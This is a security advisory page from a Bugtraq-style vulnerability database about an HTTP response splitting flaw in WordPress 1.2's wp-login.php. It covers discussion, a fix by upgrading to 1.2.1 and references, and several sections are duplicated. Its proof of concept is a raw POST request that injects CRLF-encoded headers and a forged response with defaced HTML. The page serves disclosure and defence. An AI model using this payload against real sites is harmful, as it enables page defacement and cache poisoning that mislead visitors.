Wordpress Wp-login.PHP HTTP Response Splitting Vulnerability
BID:11348
Info
Wordpress Wp-login.PHP HTTP Response Splitting Vulnerability
| Bugtraq ID: | 11348 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 07 2004 12:00AM |
| Updated: | Oct 07 2004 12:00AM |
| Credit: | Discovery is credited to Chaotic Evil <[email protected]>. |
| Vulnerable: |
WordPress WordPress 1.2 |
| Not Vulnerable: |
WordPress WordPress 1.2.1 |
Discussion
Wordpress Wp-login.PHP HTTP Response Splitting Vulnerability
Wordpress is reported prone to a HTTP response splitting vulnerability. The issue presents itself due to a flaw in the affected script that allows an attacker to manipulate how GET requests are handled.
A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.
Wordpress is reported prone to a HTTP response splitting vulnerability. The issue presents itself due to a flaw in the affected script that allows an attacker to manipulate how GET requests are handled.
A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.
Exploit / POC
Wordpress Wp-login.PHP HTTP Response Splitting Vulnerability
An exploit is not required to leverage this issue.
The following proof of concept is available:
POST /wp-login.php HTTP/1.0
Host: HOSTNAME
Content-Type: application/x-www-form-urlencoded
Content-length: 226
action=login&mode=profile&log=USER&pwd=PASS&text=
%0d%0aConnection:%20Keep-Alive%0d%0aContent-Length:%20
0%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:
%2021%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>
*defaced*</html>
An exploit is not required to leverage this issue.
The following proof of concept is available:
POST /wp-login.php HTTP/1.0
Host: HOSTNAME
Content-Type: application/x-www-form-urlencoded
Content-length: 226
action=login&mode=profile&log=USER&pwd=PASS&text=
%0d%0aConnection:%20Keep-Alive%0d%0aContent-Length:%20
0%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:
%2021%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>
*defaced*</html>
Solution / Fix
Wordpress Wp-login.PHP HTTP Response Splitting Vulnerability
Solution:
Gentoo Linux has released advisory GLSA 200410-12 dealing with this issue. they have advised that all WordPress users should upgrade to the latest version:
# emerge sync
# emerge -pv ">=www-apps/wordpress-1.2.1"
# emerge ">=www-apps/wordpress-1.2.1"
For more information please see the referenced Gentoo advisory.
The vendor has released WordPress version 1.2.1 to address this issue.
WordPress WordPress 1.2
Solution:
Gentoo Linux has released advisory GLSA 200410-12 dealing with this issue. they have advised that all WordPress users should upgrade to the latest version:
# emerge sync
# emerge -pv ">=www-apps/wordpress-1.2.1"
# emerge ">=www-apps/wordpress-1.2.1"
For more information please see the referenced Gentoo advisory.
The vendor has released WordPress version 1.2.1 to address this issue.
WordPress WordPress 1.2
-
WordPress WordPress Latest Release Download
http://wordpress.org/latest.tar.gz
References
Wordpress Wp-login.PHP HTTP Response Splitting Vulnerability
References:
References:
- WordPress 1.2.1 - Security Issues (WordPress)
- WordPress Homepage (WordPress)
- HTTP Response Splitting Vulnerability in Wordpress 1.2 ("Chaotic Evil"